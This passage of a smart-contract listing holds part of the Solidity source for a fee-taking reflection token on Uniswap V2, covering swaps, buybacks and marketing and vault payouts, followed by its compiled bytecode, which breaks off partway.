_taxFee; _liquidityFee = _buyLiquidityFee; _vaultFee = _buyVaultFee; } // Sell if(to == uniswapV2Pair){ removeAllFee(); _taxFee = _taxFee; _liquidityFee = _sellLiquidityFee; _vaultFee = _sellVaultFee; } } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tVault) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeVault(tVault); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tVault) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeVault(tVault); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tVault) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeVault(tVault); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tVault) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeVault(tVault); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } // Additional Private --------------------------------------------------- // function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint256 transferredBalance = address(this).balance.sub(initialBalance); //Send bnb to wallets transferToAddressETH(marketingAddress, transferredBalance.mul(6).div(10)); transferToAddressETH(vaultAddress, transferredBalance.mul(1).div(10)); } function buyBackTokens(uint256 amount) private lockTheSwap { if (amount > 0) { swapETHForTokens(amount); } } //swapExactETHForTokens function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, DEAD_ADDRESS, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } function _getSellBnBAmount(uint256 tokenAmount) private view returns(uint256) { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uint[] memory amounts = uniswapV2Router.getAmountsOut(tokenAmount, path); return amounts[1]; } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to receive ETH from uniswapV2Router when swapping // solhint-disable-next-line no-empty-blocks receive() external payable {} }
0x6080604052600436106103dd5760003560e01c806370a08231116101fd578063a073d37f11610118578063dc44b6a0116100ab578063ec28438a1161007a578063ec28438a14610b56578063f0f165af14610b76578063f2fde38b14610b96578063fcbab4ab14610bb6578063ff91056314610bcc57600080fd5b8063dc44b6a014610aba578063dd46706414610ad0578063dd62ed3e14610af0578063ea2f0b3714610b3657600080fd5b8063a9059cbb116100e7578063a9059cbb14610a45578063b74f7eb514610a65578063bdc653ef14610a85578063c49b9a8014610a9a57600080fd5b8063a073d37f146109db578063a457c2d7146109f0578063a5ece94114610a10578063a69df4b514610a3057600080fd5b806388790a6811610190578063906e9dd01161015f578063906e9dd0146109675780639485b9d81461098757806395d89b41146109a757806399c4b950146109bc57600080fd5b806388790a68146108da57806388f82020146108f05780638da5cb5b146109295780638ee88c531461094757600080fd5b80637d1db4a5116101cc5780637d1db4a51461086457806382d2a4bb1461087a57806385535cc51461089a578063885a4cd0146108ba57600080fd5b806370a08231146107f9578063715018a614610819578063764aeb2c1461082e5780637bcd43e91461084457600080fd5b80633b124fe7116102f85780634a74bb021161028b5780635342acb41161025a5780635342acb414610768578063557ed1ba146107a1578063602bc62b146107b45780636053a0e3146107c95780636bc87c3a146107e357600080fd5b80634a74bb02146106fd5780634e6fd6c41461071c57806350ec28121461073257806352390c021461074857600080fd5b8063437823ec116102c7578063437823ec146106735780634549b0391461069357806346c3a2fd146106b357806349bd5a5e146106c957600080fd5b80633b124fe7146106085780633bb8ef681461061e5780633bd5d17314610633578063430bf08a1461065357600080fd5b806323b872dd116103705780632f83f7bf1161033f5780632f83f7bf14610590578063313ce567146105a65780633685d419146105c857806339509351146105e857600080fd5b806323b872dd1461051b5780632799dcad1461053b57806329370cc6146105505780632d8381191461057057600080fd5b806313114a9d116103ac57806313114a9d146104865780631694505e146104a557806318160ddd146104f15780631eece8151461050657600080fd5b8063061c82d0146103e9578063064fa2bb1461040b57806306fdde031461042b578063095ea7b31461045657600080fd5b366103e457005b600080fd5b3480156103f557600080fd5b50610409610404366004613693565b610bec565b005b34801561041757600080fd5b506104096104263660046136e7565b610c44565b34801561043757600080fd5b50610440610d58565b60405161044d91906137aa565b60405180910390f35b34801561046257600080fd5b50610476610471366004613570565b610dea565b604051901515815260200161044d565b34801561049257600080fd5b50600b545b60405190815260200161044d565b3480156104b157600080fd5b506104d97f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161044d565b3480156104fd57600080fd5b50600954610497565b34801561051257600080fd5b50610497601481565b34801561052757600080fd5b50610476610536366004613530565b610e01565b34801561054757600080fd5b50601f54610497565b34801561055c57600080fd5b5061040961056b36600461365b565b610e6a565b34801561057c57600080fd5b5061049761058b366004613693565b610edc565b34801561059c57600080fd5b50610497601f5481565b3480156105b257600080fd5b50600e5460405160ff909116815260200161044d565b3480156105d457600080fd5b506104096105e33660046134c0565b610f60565b3480156105f457600080fd5b50610476610603366004613570565b61114f565b34801561061457600080fd5b50610497600f5481565b34801561062a57600080fd5b50602054610497565b34801561063f57600080fd5b5061040961064e366004613693565b611185565b34801561065f57600080fd5b506019546104d9906001600160a01b031681565b34801561067f57600080fd5b5061040961068e3660046134c0565b611271565b34801561069f57600080fd5b506104976106ae3660046136c3565b6112bf565b3480156106bf57600080fd5b5061049760115481565b3480156106d557600080fd5b506104d97f00000000000000000000000077a6d4a0602df7e3499f60bd70b59bb6c299726081565b34801561070957600080fd5b5060155461047690610100900460ff1681565b34801561072857600080fd5b506104d961dead81565b34801561073e57600080fd5b50610497601b5481565b34801561075457600080fd5b506104096107633660046134c0565b61134e565b34801561077457600080fd5b506104766107833660046134c0565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156107ad57600080fd5b5042610497565b3480156107c057600080fd5b50600254610497565b3480156107d557600080fd5b506021546104769060ff1681565b3480156107ef57600080fd5b5061049760135481565b34801561080557600080fd5b506104976108143660046134c0565b6114a1565b34801561082557600080fd5b50610409611500565b34801561083a57600080fd5b50610497601d5481565b34801561085057600080fd5b5061040961085f36600461365b565b611562565b34801561087057600080fd5b5061049760165481565b34801561088657600080fd5b50610409610895366004613693565b6115d5565b3480156108a657600080fd5b506104096108b53660046134c0565b611610565b3480156108c657600080fd5b506104096108d53660046134c0565b61165c565b3480156108e657600080fd5b50610497601c5481565b3480156108fc57600080fd5b5061047661090b3660046134c0565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561093557600080fd5b506000546001600160a01b03166104d9565b34801561095357600080fd5b50610409610962366004613693565b6117de565b34801561097357600080fd5b506104096109823660046134c0565b61182d565b34801561099357600080fd5b506104096109a23660046134c0565b611879565b3480156109b357600080fd5b50610440611903565b3480156109c857600080fd5b5060215461047690610100900460ff1681565b3480156109e757600080fd5b50601754610497565b3480156109fc57600080fd5b50610476610a0b366004613570565b611912565b348015610a1c57600080fd5b506018546104d9906001600160a01b031681565b348015610a3c57600080fd5b50610409611961565b348015610a5157600080fd5b50610476610a60366004613570565b611a67565b348015610a7157600080fd5b50610409610a80366004613693565b611a74565b348015610a9157600080fd5b50601e54610497565b348015610aa657600080fd5b50610409610ab536600461365b565b611aa3565b348015610ac657600080fd5b50610497601a5481565b348015610adc57600080fd5b50610409610aeb366004613693565b611b16565b348015610afc57600080fd5b50610497610b0b3660046134f8565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b348015610b4257600080fd5b50610409610b513660046134c0565b611b9b565b348015610b6257600080fd5b50610409610b71366004613693565b611be6565b348015610b8257600080fd5b50610409610b91366004613693565b611c15565b348015610ba257600080fd5b50610409610bb13660046134c0565b611c44565b348015610bc257600080fd5b5061049760205481565b348015610bd857600080fd5b50610409610be7366004613693565b611d1c565b6000546001600160a01b03163314610c1f5760405162461bcd60e51b8152600401610c16906137fd565b60405180910390fd5b60148110610c3f5760405162461bcd60e51b8152600401610c1690613832565b600f55565b6000546001600160a01b03163314610c6e5760405162461bcd60e51b8152600401610c16906137fd565b60148710610c8e5760405162461bcd60e51b8152600401610c1690613832565b60148610610cae5760405162461bcd60e51b8152600401610c1690613832565b60148510610cce5760405162461bcd60e51b8152600401610c1690613832565b60148410610cee5760405162461bcd60e51b8152600401610c1690613832565b60148310610d0e5760405162461bcd60e51b8152600401610c1690613832565b60148210610d2e5760405162461bcd60e51b8152600401610c1690613832565b610d386001611aa3565b600f96909655601394909455601b92909255601a55601d55601c55601655565b6060600c8054610d679061392c565b80601f0160208091040260200160405190810160405280929190818152602001828054610d939061392c565b8015610de05780601f10610db557610100808354040283529160200191610de0565b820191906000526020600020905b815481529060010190602001808311610dc357829003601f168201915b5050505050905090565b6000610df7338484611d6b565b5060015b92915050565b6000610e0e848484611e8f565b610e608433610e5b856040518060600160405280602881526020016139d5602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190612307565b611d6b565b5060019392505050565b6000546001600160a01b03163314610e945760405162461bcd60e51b8152600401610c16906137fd565b6021805460ff19168215159081179091556040519081527f3794234fa370c9f3b948dda3e3040530785b2ef1eb27dda3ffde478f4e2643c0906020015b60405180910390a150565b6000600a54821115610f435760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610c16565b6000610f4d612341565b9050610f598382612364565b9392505050565b6000546001600160a01b03163314610f8a5760405162461bcd60e51b8152600401610c16906137fd565b6001600160a01b03811660009081526007602052604090205460ff16610ff25760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610c16565b60005b60085481101561114b57816001600160a01b03166008828154811061102a57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415611139576008805461105590600190613915565b8154811061107357634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b0390921691839081106110ad57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600880548061111357634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b8061114381613967565b915050610ff5565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610df7918590610e5b90866123a6565b3360008181526007602052604090205460ff16156111fa5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610c16565b600061120583612405565b5050506001600160a01b03861660009081526003602052604090205493945061123393925084915050612460565b6001600160a01b038316600090815260036020526040902055600a546112599082612460565b600a55600b5461126990846123a6565b600b55505050565b6000546001600160a01b0316331461129b5760405162461bcd60e51b8152600401610c16906137fd565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006009548311156113135760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610c16565b8161133357600061132384612405565b50949650610dfb95505050505050565b600061133e84612405565b50939650610dfb95505050505050565b6000546001600160a01b031633146113785760405162461bcd60e51b8152600401610c16906137fd565b6001600160a01b03811660009081526007602052604090205460ff16156113e15760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610c16565b6001600160a01b0381166000908152600360205260409020541561143b576001600160a01b03811660009081526003602052604090205461142190610edc565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff16156114de57506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610dfb90610edc565b6000546001600160a01b0316331461152a5760405162461bcd60e51b8152600401610c16906137fd565b600080546040516001600160a01b03909116906000805160206139fd833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461158c5760405162461bcd60e51b8152600401610c16906137fd565b602180548215156101000261ff00199091161790556040517f023130cf5be689e497d38ca9a02f10b92a574c44d278c1d2fd60eaa333f5ec7f90610ed190831515815260200190565b6000546001600160a01b031633146115ff5760405162461bcd60e51b8152600401610c16906137fd565b61160a8160646138f6565b601e5550565b6000546001600160a01b0316331461163a5760405162461bcd60e51b8152600401610c16906137fd565b601980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146116865760405162461bcd60e51b8152600401610c16906137fd565b306001600160a01b03821614156116df5760405162461bcd60e51b815260206004820152601c60248201527f43616e6e6f74207769746864726177206e617469766520746f6b656e000000006044820152606401610c16565b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561172857600080fd5b505afa15801561173c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176091906136ab565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156117a657600080fd5b505af11580156117ba573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114b9190613677565b6000546001600160a01b031633146118085760405162461bcd60e51b8152600401610c16906137fd565b601481106118285760405162461bcd60e51b8152600401610c1690613832565b601355565b6000546001600160a01b031633146118575760405162461bcd60e51b8152600401610c16906137fd565b601880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146118a35760405162461bcd60e51b8152600401610c16906137fd565b6000816001600160a01b03164760405160006040518083038185875af1925050503d80600081146118f0576040519150601f19603f3d011682016040523d82523d6000602084013e6118f5565b606091505b505090508061114b57600080fd5b6060600d8054610d679061392c565b6000610df73384610e5b85604051806060016040528060258152602001613a1d602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190612307565b6001546001600160a01b031633146119c75760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610c16565b6002544211611a185760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610c16565b600154600080546040516001600160a01b0393841693909116916000805160206139fd83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610df7338484611e8f565b6000546001600160a01b03163314611a9e5760405162461bcd60e51b8152600401610c16906137fd565b602055565b6000546001600160a01b03163314611acd5760405162461bcd60e51b8152600401610c16906137fd565b601580548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610ed190831515815260200190565b6000546001600160a01b03163314611b405760405162461bcd60e51b8152600401610c16906137fd565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055611b6f81426138be565b600255600080546040516001600160a01b03909116906000805160206139fd833981519152908390a350565b6000546001600160a01b03163314611bc55760405162461bcd60e51b8152600401610c16906137fd565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314611c105760405162461bcd60e51b8152600401610c16906137fd565b601655565b6000546001600160a01b03163314611c3f5760405162461bcd60e51b8152600401610c16906137fd565b601755565b6000546001600160a01b03163314611c6e5760405162461bcd60e51b8152600401610c16906137fd565b6001600160a01b038116611cd35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c16565b600080546040516001600160a01b03808516939216916000805160206139fd83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611d465760405162461bcd60e51b8152600401610c16906137fd565b60148110611d665760405162461bcd60e51b8152600401610c1690613832565b601155565b6001600160a01b038316611dcd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c16565b6001600160a01b038216611e2e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c16565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611ef35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c16565b6001600160a01b038216611f555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c16565b60008111611fb75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610c16565b6000546001600160a01b03848116911614801590611fe357506000546001600160a01b03838116911614155b1561204b5760165481111561204b5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c16565b6000612056306114a1565b9050600060175482101590507f00000000000000000000000077a6d4a0602df7e3499f60bd70b59bb6c29972606001600160a01b0316846001600160a01b03161480156120cb575060006120c97f00000000000000000000000077a6d4a0602df7e3499f60bd70b59bb6c29972606114a1565b115b156120f0576120d9836124a2565b601f60008282546120ea91906138be565b90915550505b60155460ff1615801561210a5750601554610100900460ff165b801561214757507f00000000000000000000000077a6d4a0602df7e3499f60bd70b59bb6c29972606001600160a01b0316846001600160a01b0316145b15612206578015612160576017549150612160826126a2565b602154479060ff1680156121745750606481115b1561220457602154610100900460ff16156121b057601e548111156121985750601e545b6121ab6121a6826064612364565b612722565b612204565b601e548111156122045760006121df6020546121d96103e8601f5461236490919063ffffffff16565b9061274b565b9050818110156121fc576121f281612722565b6000601f55612202565b6000601f555b505b505b6001600160a01b03851660009081526006602052604090205460019060ff168061224857506001600160a01b03851660009081526006602052604090205460ff165b15612255575060006122f3565b7f00000000000000000000000077a6d4a0602df7e3499f60bd70b59bb6c29972606001600160a01b0316866001600160a01b031614156122a4576122976127ca565b601a54601355601b546011555b7f00000000000000000000000077a6d4a0602df7e3499f60bd70b59bb6c29972606001600160a01b0316856001600160a01b031614156122f3576122e66127ca565b601c54601355601d546011555b6122ff86868684612803565b505050505050565b6000818484111561232b5760405162461bcd60e51b8152600401610c1691906137aa565b5060006123388486613915565b95945050505050565b600080600061234e612934565b909250905061235d8282612364565b9250505090565b6000610f5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612aee565b6000806123b383856138be565b905083811015610f595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c16565b600080600080600080600080600080600061241f8c612b1c565b935093509350935060008060006124408f87878761243b612341565b612b71565b919f509d509b509599509397509195509350505050919395979092949650565b6000610f5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612307565b6040805160028082526060820183526000928392919060208301908036833701905050905030816000815181106124e957634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256257600080fd5b505afa158015612576573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061259a91906134dc565b816001815181106125bb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260405163d06ca61f60e01b81526000917f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063d06ca61f9061261a9087908690600401613861565b60006040518083038186803b15801561263257600080fd5b505afa158015612646573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261266e919081019061359b565b90508060018151811061269157634e487b7160e01b600052603260045260246000fd5b602002602001015192505050919050565b6015805460ff19166001179055476126b982612bd3565b60006126c54783612460565b6018549091506126f3906001600160a01b03166126ee600a6126e885600661274b565b90612364565b612df7565b601954612713906001600160a01b03166126ee600a6126e885600161274b565b50506015805460ff1916905550565b6015805460ff19166001179055801561273e5761273e81612e32565b506015805460ff19169055565b60008261275a57506000610dfb565b600061276683856138f6565b90508261277385836138d6565b14610f595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c16565b600f541580156127da5750601354155b156127e157565b600f805460105560138054601455601180546012556000928390559082905555565b80612810576128106127ca565b6001600160a01b03841660009081526007602052604090205460ff16801561285157506001600160a01b03831660009081526007602052604090205460ff16155b1561286657612861848484613019565b612912565b6001600160a01b03841660009081526007602052604090205460ff161580156128a757506001600160a01b03831660009081526007602052604090205460ff165b156128b75761286184848461315f565b6001600160a01b03841660009081526007602052604090205460ff1680156128f757506001600160a01b03831660009081526007602052604090205460ff165b156129075761286184848461321e565b6129128484846132a7565b8061292e5761292e601054600f55601454601355601254601155565b50505050565b600a546009546000918291825b600854811015612abe5782600360006008848154811061297157634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806129ea57508160046000600884815481106129c357634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612a0057600a54600954945094505050509091565b612a546003600060088481548110612a2857634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612460565b9250612aaa6004600060088481548110612a7e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612460565b915080612ab681613967565b915050612941565b50600954600a54612ace91612364565b821015612ae557600a546009549350935050509091565b90939092509050565b60008183612b0f5760405162461bcd60e51b8152600401610c1691906137aa565b50600061233884866138d6565b6000806000806000612b2d86613301565b90506000612b3a8761331d565b90506000612b4788613339565b90506000612b6182612b5b85818d89612460565b90612460565b9993985091965094509092505050565b6000808080612b80898661274b565b90506000612b8e898761274b565b90506000612b9c898861274b565b90506000612baa898961274b565b90506000612bbe82612b5b85818989612460565b949d949c50929a509298505050505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612c1657634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612c8f57600080fd5b505afa158015612ca3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cc791906134dc565b81600181518110612ce857634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050612d33307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611d6b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612d88908590600090869030904290600401613882565b600060405180830381600087803b158015612da257600080fd5b505af1158015612db6573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612deb929190613861565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612e2d573d6000803e3d6000fd5b505050565b6040805160028082526060820183526000926020830190803683370190505090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612eac57600080fd5b505afa158015612ec0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ee491906134dc565b81600081518110612f0557634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110612f4757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663b6f9de958360008461dead612f974261012c6123a6565b6040518663ffffffff1660e01b8152600401612fb69493929190613775565b6000604051808303818588803b158015612fcf57600080fd5b505af1158015612fe3573d6000803e3d6000fd5b50505050507f6fd378a9d8b7345c2e5b18229aaf1e39d32b177b501d0a0d26a0a858a23a96248282604051612deb929190613861565b600080600080600080600061302d88612405565b965096509650965096509650965061307388600460008d6001600160a01b03166001600160a01b031681526020019081526020016000205461246090919063ffffffff16565b6001600160a01b038b166000908152600460209081526040808320939093556003905220546130a29088612460565b6001600160a01b03808c1660009081526003602052604080822093909355908b16815220546130d190876123a6565b6001600160a01b038a166000908152600360205260409020556130f382613355565b6130fc816133dd565b613106858461349c565b886001600160a01b03168a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161314b91815260200190565b60405180910390a350505050505050505050565b600080600080600080600061317388612405565b96509650965096509650965096506131b987600360008d6001600160a01b03166001600160a01b031681526020019081526020016000205461246090919063ffffffff16565b6001600160a01b03808c16600090815260036020908152604080832094909455918c168152600490915220546131ef90856123a6565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546130d190876123a6565b600080600080600080600061323288612405565b965096509650965096509650965061327888600460008d6001600160a01b03166001600160a01b031681526020019081526020016000205461246090919063ffffffff16565b6001600160a01b038b166000908152600460209081526040808320939093556003905220546131b99088612460565b60008060008060008060006132bb88612405565b96509650965096509650965096506130a287600360008d6001600160a01b03166001600160a01b031681526020019081526020016000205461246090919063ffffffff16565b6000610dfb60646126e8600f548561274b90919063ffffffff16565b6000610dfb60646126e86013548561274b90919063ffffffff16565b6000610dfb60646126e86011548561274b90919063ffffffff16565b600061335f612341565b9050600061336d838361274b565b3060009081526003602052604090205490915061338a90826123a6565b3060009081526003602090815260408083209390935560079052205460ff1615612e2d57306000908152600460205260409020546133c890846123a6565b30600090815260046020526040902055505050565b60006133e7612341565b905060006133f5838361274b565b6019546001600160a01b031660009081526003602052604090205490915061341d90826123a6565b601980546001600160a01b03908116600090815260036020908152604080832095909555925490911681526007909152205460ff1615612e2d576019546001600160a01b031660009081526004602052604090205461347c90846123a6565b6019546001600160a01b0316600090815260046020526040902055505050565b600a546134a99083612460565b600a55600b546134b990826123a6565b600b555050565b6000602082840312156134d1578081fd5b8135610f59816139ae565b6000602082840312156134ed578081fd5b8151610f59816139ae565b6000806040838503121561350a578081fd5b8235613515816139ae565b91506020830135613525816139ae565b809150509250929050565b600080600060608486031215613544578081fd5b833561354f816139ae565b9250602084013561355f816139ae565b929592945050506040919091013590565b60008060408385031215613582578182fd5b823561358d816139ae565b946020939093013593505050565b600060208083850312156135ad578182fd5b825167ffffffffffffffff808211156135c4578384fd5b818501915085601f8301126135d7578384fd5b8151818111156135e9576135e9613998565b8060051b604051601f19603f8301168101818110858211171561360e5761360e613998565b604052828152858101935084860182860187018a101561362c578788fd5b8795505b8386101561364e578051855260019590950194938601938601613630565b5098975050505050505050565b60006020828403121561366c578081fd5b8135610f59816139c6565b600060208284031215613688578081fd5b8151610f59816139c6565b6000602082840312156136a4578081fd5b5035919050565b6000602082840312156136bc578081fd5b5051919050565b600080604083850312156136d5578182fd5b823591506020830135613525816139c6565b600080600080600080600060e0888a031215613701578283fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b6000815180845260208085019450808401835b8381101561376a5781516001600160a01b031687529582019590820190600101613745565b509495945050505050565b84815260806020820152600061378e6080830186613732565b6001600160a01b03949094166040830152506060015292915050565b6000602080835283518082850152825b818110156137d6578581018301518582016040015282016137ba565b818111156137e75783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c65722069